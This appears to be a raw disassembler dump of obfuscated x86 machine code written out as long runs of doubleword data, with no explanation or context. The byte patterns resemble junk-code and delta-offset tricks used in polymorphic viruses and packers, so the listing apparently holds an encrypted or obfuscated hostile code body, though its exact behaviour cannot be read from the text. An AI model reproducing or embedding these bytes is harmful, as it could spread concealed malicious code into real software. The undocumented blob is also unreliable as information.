47000000h, 1F52C357h, 0AE99048h, 0AF000000h, 0C6E863BCh dd 46FD5ADEh, 7E850AAh, 44000000h, 10007E16h, 0D98BEF98h dd 6A905Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0B4A632C3h, 6058525Fh, 0FE9h, 0C590DA00h dd 0A49EA1EEh, 66E9BA49h, 0A0BD7F6Ah, 1549BD89h, 96107FAh dd 0FA20F98Dh, 0E995FF07h, 0F07FA1Ch, 6A61FBBFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0C98DC356h, 0B42146C2h, 8E50F5F0h, 7E9h, 0DE84F900h dd 0C1E44508h, 2D4D8D89h, 85C707FAh, 7FA2BD9h, 3, 10E8h dd 0FE841900h, 6542C434h, 76DE8A23h, 927E18BBh, 5FBBB3C8h dd 0EB96BD83h, 0F0007FDh, 5384h, 0BB666000h, 14E98B93h dd 35000000h, 778B887Bh, 0A4B60819h, 0B43C1361h, 7C8A89EDh dd 61819424h, 4AE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 59070F61h, 0FE8B6691h dd 68D0Fh, 85310000h, 7FA07B5h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 0E8C08B00h, 0Bh, 0B443945Eh, 84D1239Ah dd 0B01D176h, 0FA0011BDh, 6A5F07h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0D4FBFC3h, 2DBB66ECh dd 25B5898Dh, 8307FA24h, 0FA2BD9BDh, 850F0307h, 45Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B8C35646h, 7EE41C77h dd 34ECBF66h, 0EB96BD83h, 0F0007FDh, 42E84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8BB0DB52h, 0FA0511BDh, 69858907h, 0FF07FA2Fh, 0FDEB96B5h dd 0FFDF8B07h, 0FA274595h, 6880F07h, 9000000h, 0FA2F7185h dd 8AB58B07h, 0E907FDEBh, 0Bh, 96D91067h, 0BF9AA8CFh, 0C7067702h dd 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 9693B7D9h, 7BB16050h, 9661CF8Bh dd 0E08FD381h, 9D8954B2h, 7FA2ED1h, 0EB96B5FFh, 6A07FDh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 70B4A1C3h, 0C70F21C3h, 29858B60h, 3107FA1Eh, 0FA2C259Dh dd 0B70F6107h, 0E195FFFAh, 3307FA18h, 0FA26399Dh, 8F0F07h dd 8B000000h, 0FDEB8AB5h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0BB52E8AFh dd 93B53D64h, 0D7816660h, 8B61AB9Eh, 7D858BD8h, 8907FA1Ch dd 0FA00B9BDh, 0C4868907h, 81000000h, 28AE98F3h, 0D9958B5Bh dd 6A07FA1Ch, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 389EC350h, 7ABEEB57h, 0A800Fh dd 870F0000h, 4, 8CBCBF66h dd 0C2830EB7h, 50006A04h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 31BD1625h, 0B7515698h dd 205089F7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 98C35545h, 0D7245D9Eh, 66471BC5h, 858DFB8Bh, 7FDFEF7h dd 15EDBD8Bh, 868907FAh, 0B8h, 6A006AF8h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0B46FC352h dd 0B5FFEE16h, 7FDEB96h, 1C9595FFh, 6A07FAh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 6F5DABC3h dd 544538CCh, 2D9D0929h, 5007FA24h, 6A243489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 7FEEC351h, 14E9h, 9B014300h, 24211671h, 0E6B70A9Bh dd 0C64B31CEh, 0EE36C38Fh, 96B5FF8Ch, 0E807FDEBh, 11h dd 626E7288h, 8125D36Ah, 9955D637h, 44F7C988h, 5FFA8A35h dd 1D9595FFh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 5EF171C3h, 131BD83h, 0F0007FAh dd 7484h, 0FE900h, 57990000h, 45F78052h, 93B99289h, 0C690C5CAh dd 0E9605036h, 0Ch, 8A4EBED7h, 73C8321Bh, 3A6F5B7Eh, 11E85250h dd 61000000h, 0BBAB919Bh, 0E1F855FFh, 0ECA8E169h, 60267497h dd 0B3310F58h, 61585A8Ah, 6A243489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0FBF7C352h dd 19BD8BF0h, 5707FA1Ch, 247EBB66h, 96B5FF5Bh, 6A07FDEBh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 5367C351h, 3840Fh, 0DF800000h, 95FF5F53h dd 7FA1CB5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 37C35242h, 36307222h, 0B9B5014Dh, 0FF07FA17h, 0FDEB96B5h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 43209B4Ah, 23659D03h, 95FF07FAh, 7FA21ADh dd 0D8BF0F60h, 8218529h, 836107FAh, 0FA2221BDh, 840F0207h dd 4Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h dd 56C35646h, 8BDFB23Ah, 0FA161585h, 0C607h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 1AC35545h, 3025B33h dd 0FA18B1BDh, 0DD85C707h, 7FA16h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0E978C353h, 0FFFFF3EEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0B6C35747h, 0E073CAE9h, 0F9BF66A5h, 6AC18B69h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0DC14C353h, 0F1853425h, 858DA50Ah, 7FA0199h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0F3C35040h dd 0A1C3F032h, 0CB35BB66h, 0D8816660h, 9529CB4Ah, 7FA3231h dd 870F5061h, 2, 4895B56h, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 6AC6E7h, 23D78166h dd 66006AF9h, 0F2A3D781h, 95F5858Dh, 0DE807FEh, 44000000h dd 9CBADA34h, 34F08DC8h, 0EE7AFDE6h, 0DC98529h, 835B07FAh dd 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 586CADC3h, 504D0EB0h, 489F88Bh, 0B5852924h dd 8007FA26h, 6A40EBh, 6AFA8Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0A6C35343h, 0BD8BB55Ah, 7FA22F9h dd 0FFECC780h, 0FA2BE995h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 4C3C8B8Fh dd 8BA456A5h, 0FA26559Dh, 118D8D07h, 0F507FDD7h, 6AD1FFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 8B3AB9C3h, 0A9E54939h, 5D9D89E6h, 8907FA0Eh, 0FA1F1195h dd 0EDBD8307h, 107FA33h, 6C850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 45BF53C3h dd 2B0A5781h, 0F7816054h, 60EEFF8Dh, 0A66DB966h, 0F9026A61h dd 0B896BB90h, 0B350158Fh, 6A90F3h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 27FC3AC3h dd 0F45BD0Bh, 95FF07FAh, 7FA1C95h, 0BF6628B7h, 0B5E90078h dd 0E800000Dh, 0 dd 0FFED815Dh, 6A07FE95h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 299DC356h, 0FA0E159Dh dd 6ADA8B07h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 4ED4C355h, 0B5D37AC0h, 8D554949h dd 0FDB95985h, 0CD8D2907h, 5007FA21h, 489F88Ah, 0BDBD0124h dd 6407FA29h, 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 958920C3h, 7FA07CDh dd 258964h, 66000000h, 0D7F2DB81h, 104985FFh, 6A07FAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0FF6ACDC3h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0D6C35040h, 0B5FFE112h, 7FA3391h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 17h, 8AC35040h, 0FFC4542Ah dd 0FA287595h, 118E907h, 0B5890000h, 7FA08C1h, 816600B0h dd 0E6952CCBh, 0C7BB6670h, 8B71E409h, 0FA23F59Dh, 0F613C07h dd 0F583h, 28BF6600h, 0F9B70F5Eh, 9C8B60Fh, 0FA23E1BDh dd 6BA07h, 0C18B0000h, 18C58529h, 0E8C107FAh, 5E904h, 0F4300000h dd 662F61E8h, 0C82BE2F7h, 33E9B589h, 0D18B07FAh, 0E9FBBF0Fh dd 6, 28159D8Bh, 858B07FAh, 7FA00F9h, 13E8h, 0A84A3A00h dd 655F58Fh, 3DEDE02Bh, 7EDF5284h, 0E5D8CE2Fh, 2D858D09h dd 835F07FAh, 895107C0h, 0FA2531BDh, 0C0835B07h, 0D59D8900h dd 3B07FA17h, 27830FD0h, 89000000h, 0FA1E85BDh, 8A0F6007h dd 6, 1485BD89h, 0BD2907FAh, 7FA1649h, 50E961h, 81660000h dd 6628D0EFh, 8D8BF88Bh, 7FA2EF1h, 8BB9F780h, 0FA24EDBDh dd 1E18307h, 30840Fh, 0BD8B0000h, 7FA2B41h, 2EF1A583h dd 31FE07FAh, 0FA33859Dh, 6890F07h, 8B000000h, 0FA0C9D9Dh dd 0F9958907h, 3307FA00h, 0FA3195BDh, 0E907h, 0B58D0000h dd 7FE24D3h, 6A006AF8h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0C29EC352h, 95FF5595h dd 7FA1019h, 13E9h, 1066BF00h, 150BED0Eh, 4B8F5ED3h, 591BC754h dd 0B1AF10CDh, 804B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 9A4BB565h, 0B99589F0h dd 8307FA24h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 3BBBA7C3h, 0E9F44ABEh, 12h, 2A7DC86Ch dd 72BFCA8Dh, 6266718Bh, 66DC3FF2h, 9FB338A7h, 57006AFCh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 9725910Dh, 662ED2F7h, 8B806EBBh, 0FA0D2D9Dh, 0B807h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 5DB9B4C3h, 9C4C65E5h, 0BAh, 0C233AD00h, 0D003E8D1h dd 7504E983h, 6AFB8BF4h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 8724C357h, 67AAD642h dd 880Dh, 0D9958B00h, 5607FA1Ch, 68B0Fh, 95890000h, 7FA2B99h dd 0AD8D8B5Bh, 2307FA31h, 0FA231DBDh, 0C28B5007h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 8958188Bh, 0FA010995h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 3D758E8Ah, 1F199D89h, 0BD8307FAh, 7FA2A29h, 6C840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0A0ABC356h, 8D9D8BC5h, 0B807FA21h dd 0 dd 829BD29h, 8D8D07FAh, 7FA4F66h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 32C35040h, 894EAC02h, 0FA2D758Dh dd 5D9D8907h, 0FF07FA0Eh, 48E0FE1h, 66000000h, 83A84ABFh dd 0FA2BD9BDh, 840F0007h, 457h, 32A9B589h, 0BD8307FAh dd 7FA2BD9h, 5F840F01h, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 94E3C356h dd 0BB6653F6h, 835B2A2Ah, 0FA2BD9BDh, 860F0307h, 3F8h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0ADC35545h dd 0EA49F4AFh, 2E8A1347h, 5810Fh, 81660000h, 66FA54EFh dd 6A60FB8Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 4D4EC355h, 9529B68Eh, 7FA293Dh dd 5E9h, 0B2F2A700h, 8C668207h, 199D8BD9h, 8B07FA2Bh, 0FA08919Dh dd 4E18007h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0BDC35242h, 885F6A46h, 89ABC65Fh, 0FA0CAD9Dh, 0FC90A07h dd 0C884h, 8BF98B00h, 0FA0FE985h, 45BD8B07h, 3307FA2Ch dd 0FA15E185h, 0D1BD8B07h, 5007FA25h, 0BFEFB660h, 417BD9F5h dd 24048961h, 5E9h, 0F6DE0A00h, 6AF449h, 11C19D09h, 0F26807FAh dd 0BBDCCB4Bh, 2C9C05C1h, 0D240481h, 6A2353B8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 6A9FC350h, 9D31158Eh, 7FA223Dh, 0FF29F380h, 0FA1CE995h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 8E86093h, 30000000h, 0A4F8D291h, 8B089A73h dd 0FA345D9Dh, 89605907h, 0FA2F699Dh, 61F78B07h, 96858961h dd 6607FDEBh, 0E9BF93BFh, 230h, 0FF8002BBh, 8E858B0Ch dd 8B07FDEBh, 0FA2639BDh, 1800C707h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 7F6EC353h, 0AEC38166h, 92B58BEEh, 6A07FDEBh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 6ACCC352h, 0EBA4F09Dh, 68F0Fh, 0CB810000h, 1FE0373Eh dd 0D51858Bh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 4640CCC3h, 16528537h, 8589518Ch dd 7FA2C21h, 0E806895Bh, 0Fh, 0A5C05FB2h, 0B5E78AC2h, 0F3B24655h dd 0F20E33Eh, 8B5BDBBFh, 0FA0FE985h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 2278A2CCh dd 9DEE71Dh, 0C381FE4Bh, 47A6621Dh, 6A044689h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 77AC353h, 0AA0AF49Ah, 0DE8A3h, 7B7A0000h, 6BEEAF67h dd 58BF30F1h, 8B99CF0Dh, 8B0F5BF9h, 0Bh, 0CAB70F60h, 0D459D33h dd 506107FAh, 68B0Fh, 840F0000h, 0 aI4S db '┴4$И',9,0 align 4 dd 59A29F55h, 0EA7D08E6h, 8EB5FFB3h, 6A07FDEBh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0E0E8C356h, 829F7580h, 9EA36365h, 0D78B6660h, 33E98531h dd 686107FAh, 0E100DFA4h, 81FA8B66h, 245B2404h, 0E9601F1Eh dd 0Dh, 33F63807h, 0E3F77EF7h, 9D34BDABh, 6840F6Ah, 1000000h dd 0FA02D9BDh, 858D6107h, 7FDEB96h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 1C35545h, 0B19B4188h, 0E850D88Bh dd 9, 0EE3F3407h, 8E36A33Bh, 6E969h, 4EEC0000h, 89B513A8h dd 2404895Fh, 0A61ABB66h, 0FFD8BF0Fh, 0FA1CE995h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 84299219h, 8D89D90Eh, 7FA11B1h, 53006A61h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0B157CEB4h dd 2BD985C7h, 307FAh, 3BBB0000h, 8303D9D1h, 0FDEB96BDh dd 840F0007h, 24h, 14E9h, 957B0000h, 8ABDB954h, 6A1CFD28h dd 3A10F24Dh, 4D1EA6ACh, 21E9DEh, 9D890000h, 7FA07A1h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0E8C08B00h dd 9, 0E76C0272h, 66D1D577h, 0D88B66C2h, 59B5895Fh, 8307FA23h dd 0FA2BD9BDh, 850F0307h, 486h, 83D8B70Fh, 0FDEB96BDh dd 840F0007h, 476h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 1EC35343h, 88631CC4h, 0C9BD2363h, 0FF07FA07h dd 0FDEB96B5h, 0E1958907h, 0FF07FA2Ah, 0FA274595h, 0BE907h dd 0DB850000h, 53C55F5Dh, 165A4139h, 8AB58BC4h, 8B07FDEBh dd 0FA0AF1BDh, 106C707h, 0F000100h, 0E850DABFh, 5, 2D7474FDh dd 108E0F3Fh, 0E9000000h, 0Bh, 6C7ECAA2h, 0C17B0C43h, 5B152A55h dd 6A243489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0C5E1C352h, 81F3F5A5h, 0A56076F7h dd 96B5FF59h, 6A07FDEBh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 9F10C355h, 424665B7h dd 0FFF8105Fh, 0FA18E195h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0DE8B135h dd 0EE000000h, 1EC9D18Eh, 0B238530Eh, 19DCC8C5h, 6820F5Bh dd 8B000000h, 0FA0B61BDh, 8AB58B07h, 8907FDEBh, 0FA2C55B5h dd 55BD8907h, 8B07FA0Ah, 0FA1C7D85h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 799D894Ch dd 0F07FA0Ah, 38Fh, 0DFBF0F00h, 0C48689h, 0D7810000h, 6D86F41Ah dd 8BC7CB80h, 0FA1CD995h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 6BAF6AF6h dd 83F32DE0h, 2BEDBD8Bh, 0C28307FAh, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 89FFB3D9h dd 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 487ADFC3h, 0D6DB2878h, 0FEF7858Dh, 6A07FDh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 6DB9A4C3h, 39985A8Bh, 0CE85608h, 60000000h, 5107D746h dd 860BA856h, 8BCA18A7h, 0FA23C19Dh, 86895B07h, 0B8h, 29A7CB81h dd 6A5DBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 89C35242h, 8D89DBC1h, 7FA189Dh, 0BADB8166h, 96B5FFB4h dd 6A07FDEBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 1CCAC357h, 9595FFC9h, 6607FA1Ch dd 0E541E781h, 0D15DBF50h, 34897387h, 799D2924h, 0F807FA1Fh dd 0EB96B5FFh, 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0AD790CC3h, 9E9A4h, 973C0000h, 0DBB3EC84h dd 0FF382373h, 0FA1D9595h, 8392B707h, 0FA0131BDh, 840F0007h dd 65h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h dd 6EC35040h, 0D88B66F8h, 5820F50h, 0BF000000h, 6CA37AC8h dd 6A243489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 3B62C357h, 13A3C627h, 10E9h, 0CF194400h dd 99EDC475h, 8C0459B0h, 9A277F14h, 96B5FF94h, 6A07FDEBh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 7BCC353h, 0B9E1A83Ch, 65C31480h, 0BE9h, 8C937B00h dd 24CE0375h, 0A427B90Eh, 1CB595FFh, 896007FAh, 0FA31218Dh dd 0D38B6607h, 96B5FF61h, 8907FDEBh, 0FA31BD85h, 0AD95FF07h dd 6A07FA21h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 3A49C352h, 0B5BD03BBh, 0F07FA29h dd 68Fh, 69E78100h, 830D864Ah, 0FA2221BDh, 840F0207h, 67h dd 2315BD8Bh, 858B07FAh, 7FA1615h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 67C35747h, 0CF96D910h, 2BF9AA8h dd 38C0Fh, 8B660000h, 0D5C3BFD8h, 0C60D23h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 59BC8DBCh, 997174A8h, 0C7FEBF0Fh, 0FA16DD85h, 7, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 6DCDFC0h, 9A99E8Ch, 371FDB81h, 3BE91EF3h, 81FFFFF3h dd 8CFB80CFh, 6AC18B44h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0D3E9C350h, 9D0B12D2h dd 7FA24B1h, 199858Dh, 0B50907FAh, 7FA2DBDh, 89D98B50h dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0FD44FFC3h, 99345900h, 5E9006Ah, 8B000000h dd 79F9810Fh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0D65A81C3h, 0DD795C72h, 0B3563876h dd 858D5FABh, 7FEA5D5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 89C35747h, 85A213FFh, 0AA19ADBFh, 0C083F544h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 3967F5B1h, 880F64ADh, 6, 2B5DBD8Bh, 0E89007FAh dd 9, 0CED81118h, 66F3FAF3h, 90505F4Ch, 8890Fh, 0F520000h dd 80h, 6A5B00h, 7E852h, 0FBAA0000h, 0BE2C33E5h, 0EB8166B5h dd 5F5B6DC5h, 11059D31h, 6A07FAh, 2D99D89h, 95FF07FAh dd 7FA2BE9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 45C35242h, 0BD89652Ah, 7FA2EEDh, 0D7118D8Dh, 6A07FDh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 5166AEC3h, 84BF0C27h, 0FF37CE54h, 0D9BD8BD1h, 8307FA26h dd 0FA33EDBDh, 850F0107h, 0B2h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h dd 15h, 0E0C35242h, 81D98B0Dh, 6C2999F3h, 6A026A0Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 7827C350h, 84EBD571h, 0CE9A5F0h, 0A9000000h, 0C5D82E70h dd 0C0D07E66h, 0F056FECh, 148Dh, 0FE900h, 37E80000h, 4B3C98E7h dd 67209FE3h, 0E45AFFFAh, 8A0F50ACh, 5, 408D89BBh, 24048971h dd 1C9595FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0A93595C3h, 8F4D8916h, 3455BD23h dd 0F9E907FAh, 0E800000Dh, 0 dd 0DFED815Dh, 6007FEA5h, 89C8B70Fh, 0FA105D95h, 0FE8A6107h dd 0B959858Dh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0D222D7C3h, 10E9506Bh, 69000000h dd 0CCDC2D2Bh, 23B35497h, 4349AFF8h, 89F963DBh, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 8F4134C3h, 27D83014h, 0FF64FC5Dh, 35h, 870F00h, 64000000h dd 2589h, 0B5290000h, 7FA1F69h, 104985FFh, 8B6007FAh, 0FA0CC9BDh dd 0FF6A6107h, 8B0Fh, 0B5FF0000h, 7FA167Dh, 0A820Fh, 8F0F0000h dd 4, 611DBF66h, 287595FFh, 0F8E907FAh, 0F000000h, 0B0F9BFh dd 70E6FE8Bh, 34D59D23h, 71E407FAh, 15A18D89h, 613C07FAh dd 0D9830Fh, 8A0F0000h, 0Dh, 5D958960h, 0B807FA2Ah, 162E6BE8h dd 0C8B60F61h, 0AE8h, 94F82200h, 0FC8C4CF5h, 0E8CAA931h dd 5, 0A4109C62h, 0BA5F5B0Bh, 6, 20D18D89h, 0C18B07FAh dd 14CB8166h, 4E8C1EEh, 8BEB8166h, 0E2F7663Eh, 0C82BB5B3h dd 5E9D18Bh, 19000000h, 0BEA01E23h, 1E9h, 858BF900h, 7FA108Dh dd 0B3D9589h, 0D88B07FAh, 0F907C083h, 6600C083h, 3BF882BBh dd 16830FD0h, 0FC000000h, 5E9h, 0B2733C00h, 44E963BEh dd 89000000h, 0FA235DBDh, 198D8B07h, 8107FA26h, 627DBBDFh dd 1E18355h, 29840Fh, 0BD030000h, 7FA2BE5h, 1599D8Bh, 0A58307FAh dd 7FA2619h, 0FBE780FEh, 108D9589h, 8A0F07FAh, 2, 0E986B7h dd 8D000000h, 0FE2EF4B5h, 8B006A07h, 1995FFD8h, 0E907FA10h dd 0Dh, 0C1C1F46h, 0C4705FE2h, 477F74FEh, 87BB92Eh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 6313EEC3h, 96D64631h, 8363807Eh, 6AFCE1h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 83BB8FC3h dd 0FE9h, 0E9958E00h, 8F21432Fh, 0AE1E69F4h, 9EAB6E4Dh dd 719BF7BFh, 0BD8BFC29h, 7FA1089h, 0B8h, 66FE8B00h, 0D22BFA8Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E9C35141h dd 901ED3D5h, 70F916D9h, 7E85Eh, 60C60000h, 680066EFh dd 0F59D8B2Ah, 5F07FA2Bh, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0BF0FFB8Bh, 318589FFh, 0D07FA1Fh, 88h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 18h, 0D3C35242h, 901BA061h dd 7E9h, 0E9364400h, 1DC4A54Ah, 1CD9958Bh, 9E807FAh, 7A000000h dd 6D60143Fh, 0B94136CCh, 10E9h, 39B75300h, 48A7B6DDh dd 868D2E1Fh, 0D2D3E941h, 8D8B5B12h, 7FA31ADh, 8859D8Bh dd 8B5007FAh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0F99BD89h, 0BF0F07FAh, 50006AF8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 12E9F2h, 0B67F0000h dd 0E7DC0E11h, 7FFC3227h, 0EFE5DF1Fh, 474479D5h, 2A29BD83h dd 0F0007FAh, 0CA84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0DC6C1144h, 87C0711Dh dd 2B2DBD8Bh, 0B807FAh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0AF6CC356h dd 0F42239Dh, 68Eh, 55BD0100h, 0E907FA2Eh, 0Bh, 5F011FE1h dd 80C8B959h, 8DC5204Dh, 0FA4F668Dh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9D8B46E8h dd 7FA0B7Dh, 7E9h, 31FECB00h, 0BB24419Bh, 6AE1FFh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 23A8BEC3h, 0B8C2131Fh, 898589DDh, 8307FA00h, 0FA2BD9BDh dd 840F0007h, 483h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0A1C35141h, 0FECFBC3Bh, 16C14A6Dh, 458D89B1h dd 8307FA21h, 0FA2BD9BDh, 840F0107h, 466h, 28319D33h, 0BD8307FAh dd 7FA2BD9h, 1D860F03h, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9E60C352h dd 5E9A2D5h, 17000000h, 